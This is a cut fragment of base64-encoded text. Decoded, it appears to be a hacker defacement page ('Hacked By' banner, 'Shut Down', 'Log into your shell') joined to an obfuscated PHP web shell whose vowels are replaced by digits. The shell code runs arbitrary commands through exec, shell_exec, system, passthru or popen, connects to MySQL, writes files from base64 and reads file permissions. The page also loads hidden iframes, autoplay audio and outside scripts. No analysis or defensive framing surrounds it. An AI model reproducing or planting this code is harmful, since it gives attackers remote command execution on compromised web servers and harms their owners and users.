jMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIsIiMwMEZGMDAiLCIjMDBGRjAwIiwiIzAwRkYwMCIpOw0KDQpmMXJiYjRibDQydGg1a1tvXSA9IG41dyBBcnIxeSgiI0ZGMDAwMCIsIiNGRnUwMDAiLCIjRkY4MDAwIiwiI0ZGQzAwMCIsIiNGRkZGMDAiLCIjQzBGRjAwIiwiIzgwRkYwMCIsIiN1MEZGMDAiLCIjMDBGRjAwIiwiIzAwRkZ1MCIsIiMwMEZGODAiLCIjMDBGRkMwIiwiIzAwRkZGRiIsIiMwMEMwRkYiLCIjMDA4MEZGIiwiIzAwdTBGRiIsIiMwMDAwRkYiLCIjdTAwMEZGIiwiIzgwMDBGRiIsIiNDMDAwRkYiLCIjRkYwMEZGIiwiI0ZGMDBDMCIsIiNGRjAwODAiLCIjRkYwMHUwIik7DQoNCmYxcmJiNGJsNDJ0aDVrW3VdID0gbjV3IEFycjF5KCIjRkYwMDAwIiwiI0VFMDAwMCIsIiNERDAwMDAiLCIjQ0MwMDAwIiwiI0JCMDAwMCIsIiNBQTAwMDAiLCIjOTkwMDAwIiwiIzg4MDAwMCIsIiM3NzAwMDAiLCIjZWUwMDAwIiwiI2lpMDAwMCIsIiN1dTAwMDAiLCIjb28wMDAwIiwiI2FhMDAwMCIsIiM2NjAwMDAiLCJibDFjayIsIiM2NjAwMDAiLCIjYWEwMDAwIiwiI29vMDAwMCIsIiN1dTAwMDAiLCIjaWkwMDAwIiwiI2VlMDAwMCIsIiM3NzAwMDAiLCIjODgwMDAwIiwiIzk5MDAwMCIsIiNBQTAwMDAiLCIjQkIwMDAwIiwiI0NDMDAwMCIsIiNERDAwMDAiLCIjRUUwMDAwIik7DQoNCmYxcmJiNGJsNDJ0aDVrW2ldID0gbjV3IEFycjF5KCJibDFjayIsImJsMWNrIiwiYmwxY2siLCJ3aDR0NSIsIndoNHQ1Iiwid2g0dDUiKTsNCg0KZjFyYmI0Ymw0MnRoNWtbZV0gPSBuNXcgQXJyMXkoIiMwMDAwRkYiLCIjRkZGRjAwIik7DQoNCmYxcmI1biA9IGYxcmJiNGJsNDJ0aDVrW3VdOw0KDQpmM25jdDQybiBmMXJic2NocjRmdCgpDQoNCnsNCg0KZjJyKHYxciA0PTAgOyA0PEIzY2hzdDFiNS5sNW5ndGg7IDQrKykNCg0Kew0KDQpkMmMzbTVudC4xbGxbIjEiKzRdLnN0eWw1LmMybDJyPWYxcmI1bls0XTsNCg0KfQ0KDQpmMXJidjVybDEzZigpOw0KDQp9DQoNCmYzbmN0NDJuIHN0cjRuZ2ExcnIxeSh0NXh0KQ0KDQp7DQoNCkIzY2hzdDFiNSA9IG41dyBBcnIxeSgpOw0KDQp3aDRsNShmMXJiNW4ubDVuZ3RoPHQ1eHQubDVuZ3RoKQ0KDQp7DQoNCmYxcmI1biA9IGYxcmI1bi5jMm5jMXQoZjFyYjVuKTsNCg0KfQ0KDQprPTA7DQoNCndoNGw1KGs8PXQ1eHQubDVuZ3RoKQ0KDQp7DQoNCkIzY2hzdDFiNVtrXSA9IHQ1eHQuY2gxckF0KGspOw0KDQprKys7DQoNCn0NCg0KfQ0KDQpmM25jdDQybiBkNHZzNXJ6NTNnNW4oKQ0KDQp7DQoNCmYycih2MXIgND0wIDsgNDxCM2Noc3QxYjUubDVuZ3RoOyA0KyspDQoNCnsNCg0KZDJjM201bnQud3I0dDUoIjxzcDFuIDRkPScxIis0KyInIGNsMXNzPScxIis0KyInPiIrQjNjaHN0MWI1WzRdICsgIjwvc3Axbj4iKTsNCg0KfQ0KDQpmMXJic2NocjRmdCgpOw0KDQp9DQoNCnYxciAxPTY7DQoNCmYzbmN0NDJuIGYxcmJ2NXJsMTNmKCkNCg0Kew0KDQpmMnIodjFyIDQ9MCA7IDQ8ZjFyYjVuLmw1bmd0aDsgNCsrKQ0KDQp7DQoNCmYxcmI1bls0LTZdPWYxcmI1bls0XTsNCg0KfQ0KDQpmMXJiNW5bZjFyYjVuLmw1bmd0aC02XT1mMXJiNW5bLTZdOw0KDQoNCg0KczV0VDRtNTIzdCgiZjFyYnNjaHI0ZnQoKSIsbzApOw0KDQp9DQoNCi8vIFozIEQ1bTJuc3RyMXQ0Mm5zenc1Y2s1bioqDQoNCnYxciBmMXJiczF0ej02Ow0KDQpmM25jdDQybiBmMXJidDEzc2NoNXIoKQ0KDQp7DQoNCmYxcmI1biA9IGYxcmJiNGJsNDJ0aDVrW2YxcmJzMXR6XTsNCg0Kd2g0bDUoZjFyYjVuLmw1bmd0aDx0NXh0Lmw1bmd0aCkNCg0Kew0KDQpmMXJiNW4gPSBmMXJiNW4uYzJuYzF0KGYxcmI1bik7DQoNCn0NCg0KZjFyYnMxdHo9TTF0aC5mbDIycihNMXRoLnIxbmQybSgpKihmMXJiYjRibDQydGg1ay5sNW5ndGgtMC4wMDA2KSk7DQoNCn0NCg0KczV0SW50NXJ2MWwoImYxcmJ0MTNzY2g1cigpIixpMDAwKTsNCg0KdDV4dD0gIi0tWyAtIEwyZyA0bnQyIHkyM3Igc2g1bGwgLSBdLS0iOyAvL2gNCg0Kc3RyNG5nYTFycjF5KHQ1eHQpOw0KDQpkNHZzNXJ6NTNnNW4oKTsNCg0KLy9kMmMzbTVudC53cjR0NSh0NXh0KTs8L3NjcjRwdD4NCjxicj4NCjxzdHlsNT4NCnRkezFsNGduOiBjNW50NXI7IGYybnQtZjFtNGx5OiBCcjFkbDV5IEgxbmQgSVRDOyBmMm50LXM0ejU6IDY4cHQ7IGMybDJyOiBibDFja30NCjF7MWw0Z246IGM1bnQ1cjsgZjJudC1mMW00bHk6IEJyMWRsNXkgSDFuZCBJVEM7IGYybnQtczR6NTogNmFwdDsgYzJsMnI6IHI1ZH0NCiAgDQo8L3N0eWw1Pg0KPGM1bnQ1cj4NCjw0bWcgc3JjPSJodHRwOi8vc2syM24ubjV0L3dwLWMybnQ1bnQvM3BsMjFkcy9hMDZvLzY2LzFuMm55bTIzcy10NG0uanBnIiB3NGR0aD0iMCIgaDU0Z2h0PSIwIj4NCjxkNHYgNGQ9IjV4MW1wbDU2Ij4NCjxwIDRkPSI1eDFtcGw1YSI+DQoNCg0KPGhvIDFsNGduPSJjNW50NXIiPjxmMm50IHM0ejU9InUiZjFjNT0iT3JiNHRyMm4iIHN0eWw1PSJiMWNrZ3IyM25kOiAzcmwoJnEzMnQ7aHR0cDovLzQ2MGUucGgydDJiM2NrNXQuYzJtLzFsYjNtcy9tYTgwL1kzazQySzVuc2g0bi9jaDJwbmgxeS5nNGYmcTMydDspIHI1cDUxdCBzY3IybGwgMCUgMCUgdHIxbnNwMXI1bnQ7IGMybDJyOndoNHQ1O3Q1eHQtc2gxZDJ3OiAwIDAgMC5vNW0gMXEzMSwwIDAgMC5vNW0gMXEzMSI+PGI+ICAgLT1bIFNoM3QgRDJ3biBdPS0gICA8L2I+PC9mMm50PjwvaG8+DQo8L2YybnQ+PC9wPjxociBzNHo1PSJhIiB3NGR0aD0iaTAlIiBjMmwycj0iI3VhdWF1YSIgMWw0Z249ImM1bnQ1ciI+PGYybnQgczR6NT0iYSIgZjFjNT0iT3JiNHRyMm4iIGMybDJyPSIjaThpOGk4Ij4NCjxkNHYgMWw0Z249YzVudDVyID4NCjxmNDVsZHM1dCBzdHlsNT0iYjJyZDVyOiBhcHggZDFzaDVkIHJnYihlOSwgZTksIGU5KTsgcDFkZDRuZzogdXB4O3c0ZHRoOmkwMHB4O2JnYzJsMnI6d2g0dDU7MWw0Z246YzVudDVyO2YybnQtZjFtNGx5OnQxaDJtMTtmMm50LXM0ejU6NjBwdDtiMnJkNXItYzJsMnI6I2ZmZjsgdDV4dC1zaDFkMnc6IHJnYigwLCB1ZSwgYWlpKSAwcHggMHB4IGVweCwgcmdiKG8sIHV1LCBhaXUpIDBweCAwcHggaXB4LCByZ2IoOSwgdXUsIGFpaSkgMHB4IDBweCBpcHg7Ij4NCg0KPGQ0dj4NCjxibDRuaz48ZjJudCBmMWM1PSJOMnM0ZjVyIiBzNHo1PSI3IiBjMmwycj0id2g0dDUiICBjbDFzcz0iMSI+SDFjazVkPC9mMm50PjxmMm50IGYxYzU9Ik4yczRmNXIiIHM0ejU9IjciIGMybDJyPSJyNWQiICBjbDFzcz0iMSI+IEJ5PC9mMm50PjxmMm50IGYxYzU9Ik4yczRmNXIiIHM0ejU9IjciIGMybDJyPSJ3aDR0NSIgIGNsMXNzPSIxIj5NMXI0Mm4gMDA2PC9mMm50PjwvYmw0bms+DQoNCjxicj48ZjJudCBzNHo1PSJ1IiBmMWM1PSJPcmI0dHIybiIgc3R5bDU9ImIxY2tncjIzbmQ6IDNybCgmcTMydDtodHRwOi8vNDYwZS5waDJ0MmIzY2s1dC5jMm0vMWxiM21zL21hODAvWTNrNDJLNW5zaDRuL2NoMnBuaDF5Lmc0ZiZxMzJ0OykgcjVwNTF0IHNjcjJsbCAwJSAwJSB0cjFuc3AxcjVudDsgYzJsMnI6I2ZmZjsgdDV4dC1zaDFkMnc6IHJnYigwLCB1ZSwgYWlpKSAwcHggMHB4IGVweCwgcmdiKG8sIHV1LCBhaXUpIDBweCAwcHggaXB4LCByZ2IoOSwgdXUsIGFpaSkgMHB4IDBweCBpcHg7Ij4tIE4xbTU6IFYmI29lNjsgViYjYWk5O24gVDN5JiM3ODdpO24gLTxicj4gTjRja04xbTU6IE0xcjQybiAwMDYgPGJyPlY0NXROMW01czUgPGJyPkMybnQxYzogZmIuYzJtL3QzeTVuNjk5NzwvZjJudD4NCjxicj4NCjxicj4NCjxicj48L2YybnQ+PC9mMm50PjwvZDR2PjwvYzVudDVyPjxzY3I0cHQ+DQoNCjwvc2NyNHB0PjxmMm50IHM0ejU9InUiIGYxYzU9Ik9yYjR0cjJuIiBjMmwycj0iI2k4aThpOCI+DQo8c2NyNHB0PmpzYjRuU2gyd0VkNHQoeyJyMjJ0IjoiaHR0cDovL3N0MXQ0Yy5qc2I0bi5jMm0iLCJjc3JmIjoiUmNjSjV1ZjZKNWdTajdUUnZ4c0FRQitMIn0pOzwvc2NyNHB0Pg0KPHNjcjRwdCBzcmM9Imh0dHA6Ly92bjJnLjVzeS41cy9qcy92NW5kMnIvNXY1bnRzMjNyYzUuanMiPjwvc2NyNHB0Pg0KPHNjcjRwdCBzcmM9Imh0dHA6Ly92bjJnLjVzeS41cy9qcy9zcDRrNS5qcyI+PC9zY3I0cHQ+DQo8c2NyNHB0Pg0KdjFyIF9nMXEgPSBfZzFxIHx8IFtdOw0KX2cxcS5wM3NoKFsnX3M1dEFjYzIzbnQnLCAnVUEtNmVpZTdpMC1vdSddKTsNCl9nMXEucDNzaChbJ190cjFja1AxZzV2NDV3J10pOw0KDQooZjNuY3Q0Mm4oKSB7DQogIHYxciBnMSA9IGQyYzNtNW50LmNyNTF0NUVsNW01bnQoJ3NjcjRwdCcpOyBnMS50eXA1ID0gJ3Q1eHQvajF2MXNjcjRwdCc7IGcxLjFzeW5jID0gdHIzNTsNCiAgZzEuc3JjID0gKCdodHRwczonID09IGQyYzNtNW50LmwyYzF0NDJuLnByMnQyYzJsID8gJ2h0dHBzOi8vc3NsJyA6ICdodHRwOi8vd3d3JykgKyAnLmcyMmdsNS0xbjFseXQ0Y3MuYzJtL2cxLmpzJzsNCiAgKGQyYzNtNW50Lmc1dEVsNW01bnRzQnlUMWdOMW01KCdoNTFkJylbMF0gfHwgZDJjM201bnQuZzV0RWw1bTVudHNCeVQxZ04xbTUoJ2IyZHknKVswXSkuMXBwNW5kQ2g0bGQoZzEpOw0KfSkoKTsNCjwvc2NyNHB0Pg0KIA0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KLy9ENWY0bjUgZjRyc3QgdHlwNG5nIDV4MW1wbDU6DQpuNXcgVHlwNG5nVDV4dChkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgiNXgxbXBsNTYiKSk7DQovL0Q1ZjRuNSBzNWMybmQgdHlwNG5nIDV4MW1wbDUgKDNzNSAic2wxc2g0bmciIGMzcnMyciAxdCB0aDUgNW5kKToNCm41dyBUeXA0bmdUNXh0KGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCI1eDFtcGw1YSIpLCBpMCwgZjNuY3Q0Mm4oNCl7DQp2MXIgMXIgPSBuNXcgQXJyMXkoIl8iLCIgIiwiXyIsIl8iKTsgcjV0M3JuICIgIiArIDFyWzQubDVuZ3RoICUNCjFyLmw1bmd0aF07IH0pOw0KLy9UeXA1IDIzdCA1eDFtcGw1czoNClR5cDRuZ1Q1eHQucjNuQWxsKCk7DQo8L3NjcjRwdD4NCjwhLS0NCg0KDQoNCg0KICAgICAgICAgICAgICAgIA0KPHNjcjRwdCBsMW5nMzFnNT0iSjF2MVNjcjRwdCIgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCg0KDQo8IS0tDQp2MXIgcjJ3cz02OyAvLyBtM3N0IGI1IDFuIDJkZCBuM21iNXINCnYxciBzcDU1ZD02MDsgLy8gbDJ3NXIgNHMgZjFzdDVyDQp2MXIgcjV2NTFsPTYwOyAvLyBiNXR3NTVuIDAgMW5kIGEgMm5seS4gVGg1IGg0Z2g1ciwgdGg1IGYxc3Q1ciB0aDUgdzJyZCAxcHA1MXJzDQp2MXIgNWZmNWN0MWw0Z249ImQ1ZjEzbHQiIC8vNW50NXIgImM1bnQ1ciIgdDIgYzVudDVyIDR0Lg0Kc2NyNHB0IGwxbmczMWc1PSJKMXYxU2NyNHB0IiB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KPCEtLQ0KDQovLyBQTEFZRVIgVkFSSUFCTEVTDQoNCnYxciBtcG9zbmQgPSAiaHR0cDovL20xNXN0cjJoMWNrLjNjMnouYzJtL2NsM2JiNWRfdDJfZDUxdGgtbTF0cjR4X3MyM25kdHIxY2subXBvIjsNCnYxciAyZ2dzbmQgPSAiaDJtNS1zMjNuZC4yZ2ciOw0KDQpkMmMzbTVudC53cjR0NSgnPDEzZDQyIDEzdDJwbDF5PSIxM3QycGwxeSI+Jyk7DQpkMmMzbTVudC53cjR0NSgnPHMyM3JjNSBzcmM9IicrbXBvc25kKyciIHR5cDU9IjEzZDQyL21wNWciPicpOw0KZDJjM201bnQud3I0dDUoJzxzMjNyYzUgc3JjPSInKzJnZ3NuZCsnIiB0eXA1PSIxM2Q0Mi8yZ2ciPicpOw0KZDJjM201bnQud3I0dDUoJzxiZ3MyM25kIHNyYz0iJyttcG9zbmQrJyIgbDIycD0iNiI+Jyk7DQpkMmMzbTVudC53cjR0NSgnPC8xM2Q0Mj4nKTsNCg0KLy8tLT4NCjwvc2NyNHB0Pg0KPGM1bnQ1cj48NG1nIHNyYz0iaHR0cDovL2wxbGF1Lm41dDQ0Lm41dC81bXB0eSVhMGdyMjNwL25oMXkuZzRmIj48L2M1bnQ1cj4NCjxmMm50IGYxYzU9Ik9yYjR0cjJuIiBzdHlsNT0iYzJsMnI6d2g0dDU7dDV4dC1zaDFkMnc6IDAgMCAwLm81bSB5NWxsMncsMCAwIDAubzVtIFk1bGwydzsgei00bmQ1eDo5MDAwMDAiPg0KPGI+QzJudDFjdDo8L2I+DQo8bTFycTM1NSB3NGR0aD0iaTAlIiBzY3IybGxkNWwxeT0iYTAiIHNjcjJsbDFtMjNudD0iYSIgZDRyNWN0NDJuPSJsNWZ0IiBiNWgxdjQycj0ic2NyMmxsIj4NCjxmMm50IGYxYzU9Ik9yYjR0cjJuIiBzdHlsNT0iYzJsMnI6d2g0dDU7dDV4dC1zaDFkMnc6IDAgMCA2Ljk1bSBHcjU1biwwIDAgMC5vNW0gR3I1NW47Ij4NCjxiPiBIMWNrNWQgQnkgVDN5JiM3ODdpO24gOiB3d3cuZjFjNWIyMmsuYzJtL3QzeTVuNjk5NyBWNDV0TjFtIE4yNi4gLUVORC08L2I+DQo8L2YybnQ+PC9tMXJxMzU1Pg0KPGM1bnQ1cj48NG1nIHNyYz0iaHR0cDovL2wxbGF1Lm41dDQ0Lm41dC81bXB0eSVhMGdyMjNwL25oMXkuZzRmIj48L2M1bnQ1cj4NCjxicj4NCjxoYT48ZjJudCBmMWM1PSJPcmI0dHIybiIgc3R5bDU9ImMybDJyOkJsMWNrO3Q1eHQtc2gxZDJ3OiAwIDAgMC5vNW0gMXEzMSwwIDAgMC5vNW0gMXEzMTsiPjxiPjxmMm50IHM0ejU9YT48c3RyMm5nPjxwIDFsNGduPSJyNGdodCI+I0MycHlyNGdodCBCeTogTTFyNDJuIDAwNi4gVjQ1dG4xbSdzIFQycCA2PC9iPg0KPGJyPg0KPHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSI2aSIgYzVsbHNwMWM0bmc9IjAiPjx0cj48dGQ+PGQ0diA0ZD0iZmw0cCIgc3R5bDU9ImZsMjF0OnI0Z2h0OyI+DQo8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+DQp2MXIgdHIxNGw0bTFnNT1bImh0dHA6Ly91LmJwLmJsMmdzcDJ0LmMybS8tYzhNSUgtQ1BMVDIvVDhfbzR5UEgwWUkvQUFBQUFBQUFiS1EvT3p1UmZBQ2k3Q0kvczZlMDAvVjQ1dG4xbS1hdTAtMW40bTF0NWQtZmwxZy1nNGZzLmc0ZiIsIDYwMCwgZTBdDQp2MXIgMmZmczV0ZnIybW0yM3M1PVstaSxhMF0NCnYxciBkNHNwbDF5ZDNyMXQ0Mm49MA0KNGYgKGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkIHx8IGQyYzNtNW50LjFsbCkNCmQyYzNtNW50LndyNHQ1KCc8ZDR2IDRkPSJ0cjE0bDRtMWc1NGQiIHN0eWw1PSJwMnM0dDQybjoxYnMybDN0NTt2NHM0YjRsNHR5OnY0czRibDU7bDVmdDowcHg7dDJwOjBweDt3NGR0aDo2cHg7aDU0Z2h0OjZweCI+PDRtZyBzcmM9IicrdHIxNGw0bTFnNVswXSsnIiBiMnJkNXI9IjAiIHc0ZHRoPSInK3RyMTRsNG0xZzVbNl0rJ3B4IiBoNTRnaHQ9IicrdHIxNGw0bTFnNVthXSsncHgiPjwvZDR2PicpDQoNCmYzbmN0NDJuIGc1dHRyMTRsMmJqKCl7DQo0ZiAoZDJjM201bnQuZzV0RWw1bTVudEJ5SWQpDQpyNXQzcm4gZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoInRyMTRsNG0xZzU0ZCIpLnN0eWw1DQo1bHM1IDRmIChkMmMzbTVudC4xbGwpDQpyNXQzcm4gZDJjM201bnQuMWxsLnRyMTRsNG0xZzRkLnN0eWw1DQp9DQoNCmYzbmN0NDJuIHRyMzViMmR5KCl7DQpyNXQzcm4gKCF3NG5kMncuMnA1cjEgJiYgZDJjM201bnQuYzJtcDF0TTJkNSAmJiBkMmMzbTVudC5jMm1wMXRNMmQ1IT0iQjFja0MybXAxdCIpPyBkMmMzbTVudC5kMmMzbTVudEVsNW01bnQgOiBkMmMzbTVudC5iMmR5DQp9DQoNCmYzbmN0NDJuIGg0ZDV0cjE0bCgpew0KZzV0dHIxNGwyYmooKS52NHM0YjRsNHR5PSJoNGRkNW4iDQpkMmMzbTVudC4ybm0yM3M1bTJ2NT0iIg0KDQp9DQoNCmYzbmN0NDJuIGYybGwyd20yM3M1KDUpew0KdjFyIHhjMjJyZD0yZmZzNXRmcjJtbTIzczVbMF0NCnYxciB5YzIycmQ9MmZmczV0ZnIybW0yM3M1WzZdDQo0ZiAodHlwNTJmIDUgIT0gIjNuZDVmNG41ZCIpew0KeGMyMnJkKz01LnAxZzVYDQp5YzIycmQrPTUucDFnNVkNCn0NCjVsczUgNGYgKHR5cDUyZiB3NG5kMncuNXY1bnQgIT0iM25kNWY0bjVkIil7DQp4YzIycmQrPXRyMzViMmR5KCkuc2NyMmxsTDVmdCs1djVudC5jbDQ1bnRYDQp5YzIycmQrPXRyMzViMmR5KCkuc2NyMmxsVDJwKzV2NW50LmNsNDVudFkNCn0NCnYxciBkMmN3NGR0aD1kMmMzbTVudC4xbGw/IHRyMzViMmR5KCkuc2NyMmxsTDVmdCt0cjM1YjJkeSgpLmNsNDVudFc0ZHRoIDogcDFnNVhPZmZzNXQrdzRuZDJ3LjRubjVyVzRkdGgtNmkNCnYxciBkMmNoNTRnaHQ9ZDJjM201bnQuMWxsPyBNMXRoLm0xeCh0cjM1YjJkeSgpLnNjcjJsbEg1NGdodCwgdHIzNWIyZHkoKS5jbDQ1bnRINTRnaHQpIDogTTF0aC5tMXgoZDJjM201bnQuYjJkeS4yZmZzNXRINTRnaHQsIHc0bmQydy40bm41ckg1NGdodCkNCjRmICh4YzIycmQrdHIxNGw0bTFnNVs2XStvPmQyY3c0ZHRoIHx8IHljMjJyZCt0cjE0bDRtMWc1W2FdPiBkMmNoNTRnaHQpDQpnNXR0cjE0bDJiaigpLmQ0c3BsMXk9Im4ybjUiDQo1bHM1DQpnNXR0cjE0bDJiaigpLmQ0c3BsMXk9IiINCmc1dHRyMTRsMmJqKCkubDVmdD14YzIycmQrInB4Ig0KZzV0dHIxNGwyYmooKS50MnA9eWMyMnJkKyJweCINCn0NCg0KZDJjM201bnQuMm5tMjNzNW0ydjU9ZjJsbDJ3bTIzczUNCg0KNGYgKGQ0c3BsMXlkM3IxdDQybj4wKQ0KczV0VDRtNTIzdCgiaDRkNXRyMTRsKCkiLCBkNHNwbDF5ZDNyMXQ0Mm4qNjAwMCkNCg0KPC9zY3I0cHQ+DQo8c3R5bDU+SFRNTCxCT0RZe2MzcnMycjogM3JsKCJodHRwOi8vZDJ3bmwyMWRzLnQydDFsbHlmcjU1YzNyczJycy5jMm0vYzNyczJyX2Y0bDVzL2Y0cjVibDM1LjFuNCIpLCAzcmwoImh0dHA6Ly9kMndubDIxZHMudDJ0MWxseWZyNTVjM3JzMnJzLmMybS90aDNtYm4xNGxzL2Y0cjVibDM1Lmc0ZiIpLCAxM3QyO308L3N0eWw1Pg0KDQoNCg0KDQoNCg0KDQo8NGZyMW01IHc0ZHRoPSIwIiBoNTRnaHQ9IjAiIHNyYz0iaHR0cDovL21wby56NG5nLnZuLzVtYjVkL3MybmcvWldlQUZGQUE/MTN0MnN0MXJ0PXRyMzUiIGZyMW01YjJyZDVyPSIwIiAxbGwyd2YzbGxzY3I1NW49InRyMzUiPjwvNGZyMW01Pg0KDQo8L2g1MWQ+DQo8L2h0bWw+DQoNCjw/cGhwDQoJNXg0dDsNCg0KfS8vNW5kIGwyZzRucDFnNSgpDQoNCmYzbmN0NDJuIDV4NWMzdDUoJGNmNSkgew0KCSRyNXMgPSAnJzsNCgk0ZiAoJGNmNSkgew0KCQk0ZihmM25jdDQybl81eDRzdHMoJzV4NWMnKSkgew0KCQkJQDV4NWMoJGNmNSwkcjVzKTsNCgkJCSRyNXMgPSBqMjRuKCJcbiIsJHI1cyk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCQkkcjVzID0gQHNoNWxsXzV4NWMoJGNmNSk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJCUAyYl9zdDFydCgpOw0KCQkJQHN5c3Q1bSgkY2Y1KTsNCgkJCSRyNXMgPSBAMmJfZzV0X2MybnQ1bnRzKCk7DQoJCQlAMmJfNW5kX2NsNTFuKCk7DQoJCX0gNWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkJQDJiX3N0MXJ0KCk7DQoJCQlAcDFzc3RocjMoJGNmNSk7DQoJCQkkcjVzID0gQDJiX2c1dF9jMm50NW50cygpOw0KCQkJQDJiXzVuZF9jbDUxbigpOw0KCQl9IDVsczU0ZihANHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJGNmNSwiciIpKSkgew0KCQkJJHI1cyA9ICcnOw0KCQkJd2g0bDUoIUBmNTJmKCRmKSkgew0KCQkJCSRyNXMgLj0gQGZyNTFkKCRmLDYwYXUpOw0KCQkJfQ0KCQkJQHBjbDJzNSgkZik7DQoJCX0NCgl9DQoJcjV0M3JuICRyNXM7DQp9DQpmM25jdDQybiB3aDRjaCgkcHIpIHsNCgkkcDF0aCA9IDV4NWMzdDUoIndoNGNoICRwciIpOw0KCXI1dDNybiAoJHAxdGggPyAkcDF0aCA6ICRwcik7DQp9DQoNCmYzbmN0NDJuIGNmKCRmbjFtNSwkdDV4dCl7DQoJNGYoJGZwPUBmMnA1bigkZm4xbTUsJ3cnKSkgew0KCQlAZnAzdHMoJGZwLEBiMXM1ZXVfZDVjMmQ1KCR0NXh0KSk7DQoJCUBmY2wyczUoJGZwKTsNCgl9DQp9DQoNCi8vIEQ1YjNnDQpmM25jdDQybiBkNWIzZzRuZjIoKSB7DQoJZ2wyYjFsICRzdDFydHQ0bTU7DQoJJG10NG01ID0gNXhwbDJkNSgnICcsIG00Y3IydDRtNSgpKTsNCgkkdDJ0MWx0NG01ID0gbjNtYjVyX2Yycm0xdCgoJG10NG01WzZdICsgJG10NG01WzBdIC0gJHN0MXJ0dDRtNSksIGUpOw0KCTVjaDIgJ1ByMmM1c3M1ZCA0biAnLiR0MnQxbHQ0bTUuJyBzNWMybmQocyknOw0KfQ0KDQovLyBGM25jdDQybiBjMm5uNWN0IGQxdDFiMXM1DQpmM25jdDQybiBkYmMybm4oJGRiaDJzdCwkZGIzczVyLCRkYnAxc3MsJGRibjFtNT0nJywkY2gxcnM1dD0nJywkZGJwMnJ0PSdvbzBlJykgew0KCTRmKCEkbDRuayA9IEBteXNxbF9jMm5uNWN0KCRkYmgyc3QuJzonLiRkYnAycnQsICRkYjNzNXIsICRkYnAxc3MpKSB7DQoJCXAoJzxoYT5DMW4gbjJ0IGMybm41Y3QgdDIgTXlTUUwgczVydjVyPC9oYT4nKTsNCgkJNXg0dDsNCgl9DQoJNGYoJGw0bmsgJiYgJGRibjFtNSkgew0KCQk0ZiAoIUBteXNxbF9zNWw1Y3RfZGIoJGRibjFtNSwgJGw0bmspKSB7DQoJCQlwKCc8aGE+RDF0MWIxczUgczVsNWN0NWQgaDFzIDVycjJyPC9oYT4nKTsNCgkJCTV4NHQ7DQoJCX0NCgl9DQoJNGYoJGw0bmsgJiYgbXlzcWxfZzV0X3M1cnY1cl80bmYyKCkgPiAndS42Jykgew0KCQk0Zig0bl8xcnIxeShzdHJ0MmwydzVyKCRjaDFyczV0KSwgMXJyMXkoJ2diaycsICdiNGdpJywgJzN0ZjgnKSkpIHsNCgkJCXEoIlNFVCBjaDFyMWN0NXJfczV0X2Mybm41Y3Q0Mm49JGNoMXJzNXQsIGNoMXIxY3Q1cl9zNXRfcjVzM2x0cz0kY2gxcnM1dCwgY2gxcjFjdDVyX3M1dF9jbDQ1bnQ9YjRuMXJ5OyIsICRsNG5rKTsNCgkJfQ0KCX0NCglyNXQzcm4gJGw0bms7DQp9DQoNCi8vIEFycjF5IHN0cjRwDQpmM25jdDQybiBzXzFycjF5KCYkMXJyMXkpIHsNCgk0ZiAoNHNfMXJyMXkoJDFycjF5KSkgew0KCQlmMnI1MWNoICgkMXJyMXkgMXMgJGsgPT4gJHYpIHsNCgkJCSQxcnIxeVska10gPSBzXzFycjF5KCR2KTsNCgkJfQ0KCX0gNWxzNSA0ZiAoNHNfc3RyNG5nKCQxcnIxeSkpIHsNCgkJJDFycjF5ID0gc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCXI1dDNybiAkMXJyMXk7DQp9DQoNCi8vIEhUTUwgU3RyNHANCmYzbmN0NDJuIGh0bWxfY2w1MW4oJGMybnQ1bnQpIHsNCgkkYzJudDVudCA9IGh0bWxzcDVjNDFsY2gxcnMoJGMybnQ1bnQpOw0KCSRjMm50NW50ID0gc3RyX3I1cGwxYzUoIlxuIiwgIjxiciAvPiIsICRjMm50NW50KTsNCgkkYzJudDVudCA9IHN0cl9yNXBsMWM1KCIgICIsICImbmJzcDsmbmJzcDsiLCAkYzJudDVudCk7DQoJJGMybnQ1bnQgPSBzdHJfcjVwbDFjNSgiXHQiLCAiJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IiwgJGMybnQ1bnQpOw0KCXI1dDNybiAkYzJudDVudDsNCn0NCg0KLy8gQ2htMmQNCmYzbmN0NDJuIGc1dENobTJkKCRmNGw1cDF0aCl7DQoJcjV0M3JuIHMzYnN0cihiMXM1X2MybnY1cnQoQGY0bDVwNXJtcygkZjRsNXAxdGgpLDYwLDgpLC11KTsNCn0NCg0KZjNuY3Q0Mm4gZzV0UDVybXMoJGY0bDVwMXRoKSB7DQoJJG0yZDUgPSBAZjRsNXA1cm1zKCRmNGw1cDF0aCk7DQoJNGYgKCgkbTJkNSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXA1ID0gJ3MnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4dTAwMCkgPT09IDB4dTAwMCkgeyR0eXA1ID0gJ2QnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXA1ID0gJ2wnO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXA1ID0gJy0nO30NCgk1bHM1NGYgKCgkbTJkNSAmIDB4ZTAwMC